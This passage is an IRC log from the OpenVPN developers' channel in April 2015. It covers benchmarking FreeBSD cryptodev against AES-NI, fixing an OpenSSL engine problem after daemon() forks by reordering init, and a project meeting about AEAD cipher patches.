(+/- some noise) 03:28 <@cron2_> fbsd100.ov$ openssl speed aes 03:28 <@cron2_> Doing aes-128 cbc for 3s on 16 size blocks: 12845892 aes-128 cbc's in 3.00s 03:28 <@cron2_> fbsd100.ov$ SU openssl speed -engine cryptodev aes 03:28 <@cron2_> engine "cryptodev" set. 03:28 <@cron2_> Doing aes-128 cbc for 3s on 16 size blocks: 12896459 aes-128 cbc's in 3.00s 03:30 <@cron2_> grrr, one has to load aesni.ko 03:30 <@cron2_> aesni0: <AES-CBC,AES-XTS> on motherboard 03:31 <@cron2_> ... but it changes... nothing... 03:35 <@cron2_> and truss'ing seems to suggest that it does not like what the kernel provides... it can open /dev/crypto just fine, fiddles a bit with ioctl()s, some of which succeed and some fail, and then while the actual crypto runs, no more syscalls called 03:36 <@syzzer> hmm, that is puzzling 03:39 <@cron2_> aaaah 03:39 <@cron2_> "openssl speed -evp -engine cryptodev aes-256-cbc" (add -evp) actually *does* call a lot of ioct(CIOCCRYPT) calls 03:39 <@cron2_> now things get interesting :) 03:41 <@cron2_> bastard... even without -engine, it calls the cryptodev stuff 03:43 <@cron2_> ... and still no notable speed difference... 03:43 <@cron2_> ok, this is all so sad 03:44 <@cron2_> UNloading aesni.ko will make it "not use cryptodev", resulting in 03:44 <@cron2_> type 16 bytes 64 bytes 256 bytes 1024 bytes 8192 bytes 03:44 <@cron2_> aes-256-cbc 404320.31k 464535.94k 471887.12k 475163.31k 474357.76k 03:44 <@cron2_> after loading aesni.ko, I get a tremendous improvement(!!!!! totally!) 03:44 <@cron2_> type 16 bytes 64 bytes 256 bytes 1024 bytes 8192 bytes 03:44 <@cron2_> aes-256-cbc 76127.48k 353023.39k 1266452.42k 6328898.90k 75005689.86k 03:46 <@cron2_> syzzer: so, I claim that this is all totally stupid unless you have hardware acceleration :-) - but if you want to play with it, I have a system now that has kernel hardware acceleration to avoid going too fast 04:10 <@syzzer> heh, those figures nicely show the constant overhead of using cryptodev, and why it does not make a lot of sense for OpenVPN to use for typical traffic (small packets) 04:13 <@cron2_> if (cryptodev uses aesni && openssl has aesni) it never makes sense... 04:14 <@cron2_> now, if there is some magic hardware in there which is actually *faster* than aesni, it might make sense for large blocks... 04:15 <@syzzer> yesh, but on other plaforms you might have accellerators that can only be used by privileged processes 04:16 <@syzzer> some arm cores have accelleration, but using such hardware instead of instructions 04:16 <@syzzer> but there you'll still be faster in software for small packets... 04:18 <@cron2_> right... so shall we close the ticket, or recommend to disable cryptodev, and be done with it? ;-) 04:19 <@cron2_> (Seriously, I'd like us to never crash, but the whole excercise is amazingly complicated for no gain) 04:21 <@syzzer> well, for high-bandwidth connections it gives a 10x gain according to you figures above... 04:21 <@syzzer> or, more like connections with large packets 04:23 <@syzzer> we could say wontfix for 2.3, and change the init order for 2.4 (with a proper release note on the relative path behaviour change) 04:23 <@cron2_> oh, indeed, for the 8192 byte blocks, there is speed improvement, though I do not understand why 04:24 <@cron2_> especially the numbers are funny 04:24 <@cron2_> Doing aes-256-cbc for 3s on 8192 size blocks: 173715 aes-256-cbc's in 3.00s <- no aesni 04:24 <@cron2_> Doing aes-256-cbc for 3s on 8192 size blocks: 143062 aes-256-cbc's in 0.02s <- aesni 04:24 <@cron2_> so that is still "slower with kernel crypto", but then it summarizes to "whooops, kernel crypto is faaaast" 04:24 <@syzzer> oh, that is very confusing indeed 04:25 <@syzzer> my guess in that unloading eas-ni.ko leads to using a full software implementation 04:25 <@syzzer> but I don't fully understand why 04:26 <@cron2_> well, it will query the kernel "what can you do" (openssl engine -t -c), and it will tell it "cannot doe AES, go do it yourself" 04:29 <@syzzer> yeah, but that means that the default openssl AES implementation is all-software, instead of userland eas-ni 04:29 <@syzzer> which is weird too... 04:31 <@cron2_> syzzer: I'm not sure. Or "their math is funny" 04:31 <@cron2_> the fact that the number of blocks in 3s for 8192 size is nearly identical between "with kernel" and "without kernel" hints more at "it is both aesni, and the kernel overhead goes down in comparison" 04:32 < n13l> cron2_: dynamic calls vs static call will impact result imho much more 04:32 < n13l> btw hi 04:33 <@cron2_> n13l: well, that is the "with kernel/without kernel" bit - run inside openssl, or pass via ioctl() to kernel and back 04:33 <@cron2_> we're not moving AESNI support inside openvpn :) 04:33 < n13l> i dont see strong reason why kernel space should be faster then userspace (except locking in multiple threads) 04:34 <@cron2_> kernel will be faster if userland doesn't use AESNI 04:34 <@cron2_> the numbers from "openssl speed" are... funny 04:34 < n13l> because kernel cant skip for example sync (atomic operations) if he see that one thread is in kernel space and other in user 04:35 <@cron2_> no locking involved 04:35 < n13l> well but as far as i know userland can use asembly too :) 04:35 <@cron2_> of course 04:35 <@cron2_> and openssl does, if compiled with the right options, in the right phase of the moon, etc. 04:35 < n13l> damn my english -> cant/can 04:36 <@syzzer> n13l: yes, and using userland eas-ni would be the sane thing to do, but somehow they don't do that... 04:36 < n13l> syzzer: i think so ! 04:37 < n13l> well i remember there were few reasons / special cases when kernel space was better choice 04:38 < n13l> openssl (im not sure if it's live) but there was an patch that scale part of key gen across cpu because of higher entropy 04:39 < n13l> because if you generate let's say key on more cpu (time is one of the input) there's good chance that you racecond abit more similar material 04:39 < n13l> with lower entropy that u could expect 04:39 < n13l> i remeber it was some google's girl patch :) but dont remember the name 04:45 < n13l> hmm if im thinkin abit more im pretty sure there are several reason why userland crypto asembly should be actually faster if used at userland too (less context switches etc.) 04:47 <@cron2_> n13l: yes, we all agree on this :) 04:48 < n13l> cron2_ well, i dindt read whole discussion :) 04:49 < n13l> cron2_: btw did you saw my SSO example at mailin-list ?:) 04:51 < n13l> cron2_, syzzer, dazo: http://sourceforge.net/p/openvpn/mailman/message/33717728/ any opinion / promts ? 04:51 <@vpnHelper> Title: OpenVPN / Mailing Lists (at sourceforge.net) 05:53 <@syzzer> n13l: I skimmed it, did not find time to take a proper look at it yet 05:53 <@syzzer> this is a 'authenticate openvpn connection over http' thingie, right? 05:55 <@cron2_> no, it's a "look, I have the magic key!" client and the magic key is shared between client and server by means of openvpn creating it 06:07 < n13l> syzzer: it is more like there's no need to authenticate HTTP (send user/pass etc over app protocol) when (D)TLS/VPN layer is allready authenticated. 06:08 < n13l> syzzer: HTTP Client and HTTP Server export keying material and use is like "HTTP SESSION_ID (key)" 06:10 < n13l> syzzer: it should just show working example/idea how to authenticate upper layers on top of authenticated VPN: SSO for upper layers 06:11 < n13l> cron2_: im happy that you catch that idea quickly ! :) 09:11 -!- mattock is now known as mattock_afk 11:17 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 11:28 <@vpnHelper> RSS Update - tickets: #540: Incorrect processing of contents in OpenVPN Connect (iOS) <https://community.openvpn.net/openvpn/ticket/540> 11:31 <@syzzer> n13l: ah, right. I was still thinking about your previous use case. 11:31 <@syzzer> I would be nice if you'd explain this in the README of the plugin though :) 11:32 <@syzzer> *it 11:32 * syzzer has a lot of trouble typing today :/ 13:47 <@cron2_> re 15:40 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 244 seconds] 15:42 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 18:07 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 256 seconds] 18:11 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 18:11 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 20:04 < n13l> syzzer: well i have been thinking about (Sample) TLS side channel authentication too but i wasnt able to prepare something simple enough 20:05 < n13l> syzzer: That SSO readme is wall of text compared to other sample plugins :) 20:09 < n13l> syzzer: Im workin on Firefox (NSS) vs Apache2 SSO (on top of authenticated vpn) and/or TLS side channel authentication very hard ! --- Day changed Wed Apr 08 2015 00:19 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Ping timeout: 252 seconds] 00:45 -!- mattock_afk is now known as mattock 09:25 -!- mattock is now known as mattock_afk 11:55 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 12:24 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 15:05 -!- esde [~esde@openvpn/user/esde] has quit [Ping timeout: 256 seconds] 15:05 -!- esde [~esde@openvpn/user/esde] has joined #openvpn-devel 15:44 -!- mattock_afk is now known as mattock 16:00 -!- mattock is now known as mattock_afk 18:50 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Quit: Leaving] 19:27 -!- Irssi: #openvpn-devel: Total of 28 nicks [11 ops, 0 halfops, 2 voices, 15 normal] 22:42 -!- kontaxis [~kontaxis@dyn-160-39-57-56.dyn.columbia.edu] has joined #openvpn-devel 22:50 < kontaxis> hi, by default fragmentation is off, right? Without fragmentation present what happens when buf->len > link_mtu_dynamic - extra_frame? --- Day changed Thu Apr 09 2015 00:31 -!- kontaxis [~kontaxis@dyn-160-39-57-56.dyn.columbia.edu] has quit [Quit: Leaving] 00:59 -!- tsing [~tsing@gintama.tsing.org] has joined #openvpn-devel 02:10 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 02:11 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 02:11 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 02:41 <@cron2_> "drop" 02:41 <@cron2_> oh 02:41 <@cron2_> plaisthos: could you have a look at the macosx keychain patches v4, and ack the openvpn bits? Since those changed from v3->v4, I can't just take your v3 ACK... 04:12 -!- mattock_afk is now known as mattock 05:13 -!- mattock is now known as mattock_afk 06:30 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 07:00 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 07:00 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 07:01 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 07:37 -!- tsing [~tsing@gintama.tsing.org] has quit [Quit: Leaving...] 07:47 -!- tsing [~tsing@gintama.tsing.org] has joined #openvpn-devel 09:28 -!- mattock_afk is now known as mattock 09:30 -!- mattock is now known as mattock_afk 09:50 -!- mattock_afk is now known as mattock 12:44 <@plaisthos> cron2_: will do 12:44 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 12:54 <@plaisthos> my gpg is broken with new thunderbird plugin *sigh* 12:54 <@plaisthos> it just says wrong passphrase without asking for it 13:03 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 13:06 <@cron2_> thanks, will ahndle 15:31 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Quit: ZNC - http://znc.in] 19:51 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Quit: Leaving] --- Day changed Fri Apr 10 2015 00:40 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel --- Log opened Mon Apr 13 10:39:38 2015 10:39 -!- ecrist [~ecrist@freebsd/contributor/openvpn.ecrist] has joined #openvpn-devel 10:39 -!- Irssi: #openvpn-devel: Total of 30 nicks [9 ops, 0 halfops, 2 voices, 19 normal] 10:39 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 10:39 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 11:26 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 255 seconds] 11:29 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 11:29 -!- mode/#openvpn-devel [+o raidz] by ChanServ 11:57 -!- jamesyonan [~jamesyona@c-67-166-32-18.hsd1.co.comcast.net] has joined #openvpn-devel 11:57 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:21 -!- crayon [~user@unaffiliated/button] has joined #openvpn-devel 12:21 < crayon> whats the most secure vpn authentication? ipsec hybrid rsa? 12:26 <@cron2_> openvpn, of course 12:27 < crayon> openvpn isnt an authentication type 12:27 < crayon> ... 12:27 <@cron2_> neither is ipsec 12:27 < crayon> lol 12:27 < crayon> r u srs rn 12:28 <@cron2_> ipsec can use rsa, user+password, ... - as can openvpn 12:28 < crayon> https://tools.ietf.org/html/draft-ietf-ipsec-isakmp-hybrid-auth-05 12:28 <@cron2_> so what is "ipsec authentication"? 12:28 <@cron2_> that's a mechanism used *by* ipsec 12:28 < crayon> lol 12:28 < crayon> anyone else? 12:28 <@cron2_> (shared secret plus individual username+password, sorta like openvpn tls-auth + user+pass) 12:53 <@syzzer> crayon: listen to cron2_, he is right. 12:54 <@syzzer> and the draft you are referring to is definitely not "most secure" 12:55 <@syzzer> "This proposal is designed to provide a solution for environments where a legacy authentication system exists, yet a full public key infrastructure is not deployed." 12:58 <@mattock> hi 12:58 <@syzzer> hi :) 13:00 * syzzer rants about Ubuntu 15.04's dhclient not setting a default route in my setup, aargh :/ 13:00 <@cron2_> syzzer: I bet that is all systemd's fault! (*hide*) 13:00 <@cron2_> kids are in bed \o/ all yours now! 13:01 <@mattock> syzzer: try pump 13:02 <@mattock> I had some odd libvirt/dhclient issues after switching my home server to Debian 8 (which has systemd :)) 13:02 <@syzzer> what is pump/ 13:03 <@mattock> a dhcp client 13:03 <@cron2_> dhcp client 13:03 <@mattock> ok, meeting time? 13:03 <@syzzer> yes :) 13:05 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2015-04-13 13:05 <@mattock> d12k, jamesyonan: here? 13:05 <@jamesyonan> yeah 13:06 <@cron2_> d12fk displayed signs of life today, though - we have agreed on the way forward (I'll merge his changes into a separate branch, and mattock can build test installers from there) 13:06 <@mattock> shall we start with the AEAD patchset? 13:07 <@mattock> cron2_: yeah, noticed 13:07 <@cron2_> so I think that covers interactive service for today :) 13:07 <@cron2_> -> AEAD 13:07 <@mattock> good :D 13:07 <@mattock> https://github.com/syzzer/openvpn/tree/aead-cipher-modes8 13:07 <@syzzer> yes, AEAD :) 13:08 <@syzzer> I have a slightly newer branch locally, but want to review those patches myself once more before pushing 13:09 <@syzzer> I sent a few of the preparation patches to the list earlier on 13:09 <@syzzer> it would be great if we could take a look at those 13:09 <@cron2_> anything in there already acked? 13:10 <@syzzer> yes, some, sich as 'fix frame size calculation for non-cbc' 13:10 <@cron2_> well, that one is already applied :) 13:10 * cron2_ was thinking about "acked, but not in-tree yet, cause cron's a lazy bastard" 13:10 <@syzzer> ah, no, I don't think so 13:11 <@syzzer> http://article.gmane.org/gmane.network.openvpn.devel/9528 13:13 <@cron2_> yeah, that one I remember 13:15 <@syzzer> jamesyonan: question to you, how do you handle tls-auth with aead cipher modes? 13:16 <@syzzer> I currently just use the --auth setting to determine the HMAC type 13:16 <@jamesyonan> same here 13:17 <@syzzer> ok, good. we could and just do the GHASH part of GCM (aka 'put everything in the AD'), but I did not implement that 13:18 <@jamesyonan> yeah, I think keeping tls-auth functionality the same is fine and good for now 13:18 <@syzzer> yes, I think so too 13:19 <@syzzer> so, what is the best way to get the functionality in? 13:19 <@syzzer> what I did until now is send a couple of patches to this list, wait for reviews, send some more 13:19 <@jamesyonan> I'd like to do more compatibility testing between OpenVPN 2/3 on this 13:20 <@syzzer> jamesyonan: yes, I'd like that too 13:20 <@cron2_> syzzer: we can do the easy reviews, but the hard lifting will be on you and James, I'm afraid 13:21 <@mattock> syzzer, jamesyonan: do we do the testing in a meeting or should you just arrange something together? 13:21 <@syzzer> we can arrange that apart, I think. we already did some smoke tests before. 13:22 <@jamesyonan> agreed 13:22 <@mattock> ok 13:22 <@mattock> anything else or was this it? :P 13:23 <@cron2_> maybe someone feels like actually reviewing and ACKing something? 13:23 <@mattock> that's a good idea 13:23 * cron2_ totally feels like merging something today :) 13:23 <@cron2_> (working on the key chain patch right now) 13:23 <@syzzer> here's an easy one: http://article.gmane.org/gmane.network.openvpn.devel/9555 ;) 13:23 <@mattock> cron2_: I was just about to ask about that 13:24 <@cron2_> syzzer: right :) 13:24 * cron2_ can do that 13:25 <@syzzer> there's one other thing I'd like to discuss: ticket #480 13:26 <@mattock> https://community.openvpn.net/openvpn/ticket/480 13:26 <@syzzer> I did a bit of digging and testing this weekend, and changing the init order really seems to be the only way to fix this 13:27 <@cron2_> (vpn-helper is broken, ecrist is missing, world is going to end...) 13:27 * cron2_ disagrees with changing the init order, as this will break everything with relative path names in it 13:28 <@syzzer> but only for those who did not specify --cd 13:28 <@syzzer> which distro's seem to specify in the init scripts 13:28 <@cron2_> right (but based on personal experience, I expect this to be half of all configs - at least half of mine!) 13:30 <@mattock> there are probably tons and tons of configs which will break 13:30 <@mattock> I have a mix of relative and absolute paths and I never use --cd 13:30 <@syzzer> hmm, that is bad 13:31 <@syzzer> okay, so, freebsd did put this reordering patch in their ports/packages/whatever-they-call-it 13:31 <@mattock> I think fixing #480 in 2.3.x is out of the question, but how about 2.4? 13:32 <@cron2_> syzzer: did they? I thought it was only in pfsense? lemme check 13:32 <@syzzer> there is something else I considered, but that is quite intrusive: read the files early, cache, init crypto after calling daemon() using the cached files 13:33 <@cron2_> syzzer: actually, FreeBSD has "150322-Reload-OpenSSL-engines-after-forking.patch 13:33 <@cron2_> right now 13:33 <@syzzer> yeah, but since that doesn't work, they are going to revert it 13:33 <@syzzer> and re-apply the reordering patch 13:34 <@cron2_> but it's an optional patch 13:34 <@cron2_> syzzer: so what happens if you do it that way? why does it bomb? 13:34 <@cron2_> ("can we get FreeBSD to fix their weird openssl instead?") 13:35 <@syzzer> cron2_: what is 'that way' in this context? 13:35 <@cron2_> 150322-Reload-OpenSSL-engines-after-forking.patch 13:35 * cron2_ found that patch totally reasonable 13:36 <@syzzer> the cryptodev engine simply refuses to deinitialize 13:36 <@syzzer> it keeps /dev/crypto open 13:37 <@cron2_> this might actually be a consequence of openssl using /dev/crypto even if you do not explicitely call the engine 13:37 <@syzzer> yes, this is 13:37 <@cron2_> can you get openssl to fully deinit itself? 13:37 <@syzzer> and that is not controllable by the caller :( 13:37 <@cron2_> what a pile of sh*t 13:38 <@cron2_> pardon my french 13:38 <@syzzer> I did not find a way to deinitialize it 13:39 <@syzzer> but I might be overlooking something ofc... 13:40 <@syzzer> regarding the weird behaviour of fbsd, I did make a comment about that in the fbsd bugtracker https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=195004#c9 13:40 <@cron2_> ok, so we have, I think, two ways out: a) bounce this back at FreeBSD and explain to them that using an engine when not being asked for is buggy, and they should fix their openssl, done. b) change our init ordering a bit *more*, by deferring the chdir("/") call until after openssl init, so it would be "daemon( nochdir=true, ..) -> openssl init -> chdir("/") 13:41 <@syzzer> ah, that option b sounds reasonable 13:42 <@syzzer> (although option a really should be done too...) 13:42 <@cron2_> what a pity mandree isn't here today :) 13:48 <@mattock> I suggest a) and if that fails then b) 13:49 <@mattock> if this is clearly a FreeBSD/OpenSSL issue 13:50 <@syzzer> we could try, but my guess is that it will take a long time... 13:50 <@cron2_> one could argue that forking after initializing complex libraries is not the best idea either (which is why we have pkcs11_fork_cleanup() or whatever it is called) 13:50 <@syzzer> ^^ yes, that 13:50 <@mattock> any thoughts jamesyonan? 13:51 <@syzzer> would changing this for 2.4 be an option? (with a decent notice in the change log, ofc.) 13:51 <@cron2_> delaying the chdir() should not change user-visible behaviour 13:53 <@jamesyonan> in general, I agree it's better to fork then initialize 13:53 <@syzzer> cron2_: did you look at the code already? 13:54 <@cron2_> syzzer: for "opt b"? not yet, this is speaking from memory about the two patches I've seen (reordering and your "post-fork-fixup") 13:55 <@syzzer> ok, I can prepare a patch that does the reordering, we'll need that is we want to fix this for 2.3 I think 13:56 <@cron2_> s/is/if/ and yes :) 13:58 <@syzzer> ok, will do. how about 2.4? is changing the init order an option? I have a slight preference to have the 'proper' fix for the long term. 13:59 <@cron2_> syzzer: I'm all for the proper fix, but I do consider "b)" not improper :-) - the point about daemon() doing the chdir() is that a daemon doesn't block unmounting filesystems no longer in use, etc., so if we just do this later it's philosophically fine 14:00 <@syzzer> that is true, that thing I don't like about it is that is further complicates our init behaviour 14:00 <@syzzer> ah, man, typing is hard today :/ 14:00 <@cron2_> some things actually get simpler, as the pkcs11 cleanup can be thrown away 14:01 <@cron2_> and no need to uninit engines anymore 14:01 <@mattock> ah, cron2 is speaking of philosophically "kosher" solutions :P 14:01 <@cron2_> mattock: well, there's a reason why daemon() does what it does, and if we decide to not do it this way, we need to understand the reasons :-) 14:01 <@mattock> yep 14:03 <@syzzer> okay, I'm convinced. I'll cook up the patch :) 14:03 <@cron2_> thanks :) 14:03 <@mattock> ok, what will the patch do exactly? 14:03 <@mattock> (for the summary) 14:04 <@syzzer> postpone the chdir() call that daemon() normally does to after initializing libraries (such as openssl) 14:04 <@cron2_> mattock: right now, we do "openssl init, then daemon( with chdir )", and the patch would do "daemon(without chdir), openssl init, chdir()" 14:04 <@mattock> ok, I'll note that down so people can scream if they need to 14:04 <@syzzer> good, at least we agree on what we've decided ;) 14:04 <@cron2_> :) 14:05 <@cron2_> so, anything we can do for AEAD today? 14:05 <@syzzer> review the patches I linked to earlier :) 14:05 <@syzzer> then I'll send some new ones to the list to keep the queue filled 14:06 * cron2_ takes 9555, want to look at the whole context on the caller 14:06 <@cron2_> but right now "make test" runs with osx keychain patches applied (which does not actually excercise the code, but verifies the rest) 14:09 <@mattock> nice! 14:10 <@cron2_> when this is done, I can go on messing with the tree again :) 14:13 <@cron2_> actually, the call to daemon() already checks "options->cd_dir != NULL" :) - so that would be removed and replaced with "false" -> simpler! 14:14 * cron2_ lols at the amount of interesting spellings of "possibly_become_daemon()" in 9555 14:14 <@cron2_> (in the patch text) 14:18 <@syzzer> oh, wow :') 14:19 <@cron2_> meh 14:20 <@cron2_> my file server just decided to refuse to cooperate any longer (wtf?) 14:20 <@cron2_> pushes might be a bit delayed... *grumble* 14:21 * cron2_ walks to the basement... 14:22 <@mattock> does this mean the fileserver ended the meeting? 14:23 <@cron2_> feel free to go on, but I can't go on merging until it's back up... 14:24 <@cron2_> is there a "git self-check" thingie to ensure the repo is fine? 14:25 <@mattock> fine in what way? 14:26 <@cron2_> "not damaged by the crash, internally consistent, etc." - it was crashing right the moment I did "git am ..." 14:27 <@mattock> ah, I see 14:27 <@mattock> well I think Git will start producing odd errors at least 14:28 <@mattock> if there's an issue with the repo 14:28 <@mattock> when you play with it a bit 14:28 <@cron2_> OTOH, now we'll see how much truth is in the advertising "for a NFS client, there is no difference between a server that is down and one that is very slow" 14:28 <@cron2_> (committing over NFS, to be precise) 14:28 <@cron2_> ... still checking filesystems, though... 14:29 <@mattock> I suggest we end the meeting now and schedule a new one in, say, two weeks from now 14:30 <@cron2_> works for me (next week wouldn't) 14:30 <@mattock> or sooner if needed 14:30 <@mattock> ok 14:32 <@cron2_> wow 14:32 <@cron2_> server booted, client's "git am" just finished, as if nothing happened 14:32 <@cron2_> magic 14:33 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2015-04-27 14:34 <@syzzer> mattock: yes, fine by me :) 14:34 <@mattock> ok, great! 14:35 <@mattock> I'll send the summary in a few minutes 14:45 <@cron2_> spam spam spam the list... 14:53 <@syzzer> whee, new patch doesn't bork on cron2_'s freebsd 10.1 machine :D 14:53 <@cron2_> whee!! 14:54 <@syzzer> this was sooo much easier than trying to figure out how to fix openssl :p 15:02 <@cron2_> oh 15:02 <@cron2_> some of my builders might be offline (all my VMs got moved today) 16:04 <@cron2_> syzzer: there might be a caveat, do_init_first_time() is also called from do_hold(), with an explicit comment 16:04 <@cron2_> /* if c is defined, daemonize before hold */ 16:04 <@syzzer> hmm 16:05 <@syzzer> I was also wondering whether we have the same problem with setuid / setgid 16:05 <@syzzer> but I don't know how those behave 16:05 <@cron2_> I'm not exactly sure how this is reached, but calling possibly_become_daemon() there should be good 16:06 <@cron2_> setuid/setgid stays where it is, after crypto init - so that should be safe 16:08 <@syzzer> couldn't that break cryptodev too? 16:08 <@syzzer> or I could move up the deamon() even further, before open_management(). That way we could get rid of the pkcs11ForkFixup() too 16:09 <@cron2_> that would surprise me, an already-open file descriptor should not be invalidated by changing uids afterwards 16:11 <@cron2_> anyway, need to sleep now - look again with a non-sleepy brain tomorrow 16:11 <@syzzer> good night :) 16:12 <@cron2_> good night! 16:37 -!- Hes [rXWLopED@tunkki.fi] has quit [Write error: Broken pipe] 17:59 -!- dazo is now known as dazo_afk 18:50 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 18:50 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 20:05 -!- crayon [~user@unaffiliated/button] has quit [Ping timeout: 250 seconds] 20:41 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Quit: Leaving] 20:51 -!- tsing [~tsing@gintama.tsing.org] has joined #openvpn-devel 22:06 -!- Netsplit *.net <-> *.split quits: @syzzer 22:13 -!- Netsplit over, joins: @syzzer 23:27 -!- jamesyonan [~jamesyona@c-67-166-32-18.hsd1.co.comcast.net] has quit [Read error: Connection reset by peer] --- Day changed Tue Apr 14 2015 01:46 -!- tsing [~tsing@gintama.tsing.org] has left #openvpn-devel ["Leaving..."] 02:25 <@cron2_> mornin' 02:40 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 255 seconds] 02:41 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 03:59 -!- dazo_afk is now known as dazo 04:58 -!- floppym_ [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 05:02 -!- Netsplit *.net <-> *.split quits: ender|, floppym 05:13 <@plai> morning 05:21 -!- mattock is now known as mattock_afk 06:05 -!- mattock_afk is now known as mattock 08:07 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 08:10 -!- mattock is now known as mattock_afk 08:57 -!- mattock_afk is now known as mattock 08:59 <@cron2_> hooray, religious discussions on OpenSSL vs. FreeBSD vs. OpenVPN... *roll eyes* 08:59 <@cron2_> plai: you're quite busy these days... new girlfriend, or working on your PhD thesis? ;-) 09:53 -!- floppym_ is now known as floppym 10:13 <@syzzer> cron2_: yep, can of worms :( 11:04 <@plai> cron2_: phd thesis and more sport 11:04 <@plai> and my new sport starts monday at 19:30 .... 11:06 <@cron2_> well, this can be handled - we'll just use the meeting time then to decide which things to put on your plate :-) (but seriously, seems we need to move the meeting again, then - especially for the AEAD things, it would be good to involve you more) 11:06 <@cron2_> but then, PhD thesis also needs time to focus... 11:07 <@cron2_> (I gave up on that due to prioritizing family) 11:07 <@plai> yeah too many things 11:07 <@plai> I still need to finish up my timeout patch :( 11:19 <@cron2_> where is ecrist anyway...?! mattock: have you seen anything from him recently? 11:46 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 12:14 <@mattock> cron2_: ecrist has been relatively absent lately 12:15 <@mattock> he did install some upgrades to the forums vm, but I he has not been too responsive 13:46 -!- mattock is now known as mattock_afk 16:05 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Ping timeout: 256 seconds] 16:08 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 17:01 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 17:01 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 17:32 -!- dazo is now known as dazo_afk 18:18 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Quit: Leaving] 21:16 <@ecrist> cron2_: I'm here 21:16 <@ecrist> I've been around 21:17 <@ecrist> Apologies on my relative absence, that should start to clear up. 21:17 <@ecrist> I took a job with a new company and they've kept me rather busy. I haven't yet quite figured out how to waste proper amounts of time for IRC. ;) 21:18 <@ecrist> regardless, I commented on your note of my absence yesterday, and made sure to fire vpnHelper up. 21:19 <@ecrist> My VPS provider has had a few outages and both the bot and I IRC from the same host (i.e. I go missing, so will the bot) --- Log closed Wed Apr 15 00:19:00 2015 --- Log opened Wed Apr 15 19:32:38 2015 19:32 -!- ecrist [~ecrist@freebsd/contributor/openvpn.ecrist] has joined #openvpn-devel 19:32 -!- Irssi: #openvpn-devel: Total of 29 nicks [10 ops, 0 halfops, 2 voices, 17 normal] 19:32 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 19:32 -!- Irssi: Join to #openvpn-devel was synced in 1 secs --- Day changed Thu Apr 16 2015 00:32 -!- mattock_afk is now known as mattock 05:19 -!- dazo_afk is now known as dazo 05:31 -!- mattock is now known as mattock_afk 06:08 -!- mattock_afk is now known as mattock 06:59 -!- mattock is now known as mattock_afk 07:36 -!- mattock_afk is now known as mattock 07:39 -!- mattock is now known as mattock_afk 07:59 -!- mattock_afk is now known as mattock 13:54 -!- mattock is now known as mattock_afk 14:29 -!- dazo is now known as dazo_afk 16:47 -!- DCUser [~DCUser@93-81-169-90.broadband.corbina.ru] has joined #openvpn-devel 17:20 -!- DCUser [~DCUser@93-81-169-90.broadband.corbina.ru] has quit [] 21:33 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Quit: ZNC - http://znc.in] --- Day changed Fri Apr 17 2015 01:18 -!- mattock_afk is now known as mattock 02:44 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 04:46 -!- mattock is now known as mattock_afk 06:15 -!- mattock_afk is now known as mattock 07:54 -!- dazo_afk is now known as dazo 08:20 -!- mattock is now known as mattock_afk 08:38 -!- mattock_afk is now known as mattock 08:44 -!- mattock is now known as mattock_afk 12:09 -!- crayon [~user@unaffiliated/button] has joined #openvpn-devel 12:27 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 14:37 -!- dazo is now known as dazo_afk 14:53 -!- DCUser [~DCUser@93-81-169-90.broadband.corbina.ru] has joined #openvpn-devel 16:21 -!- DCUser [~DCUser@93-81-169-90.broadband.corbina.ru] has quit [] 18:30 -!- crayon [~user@unaffiliated/button] has quit [Ping timeout: 265 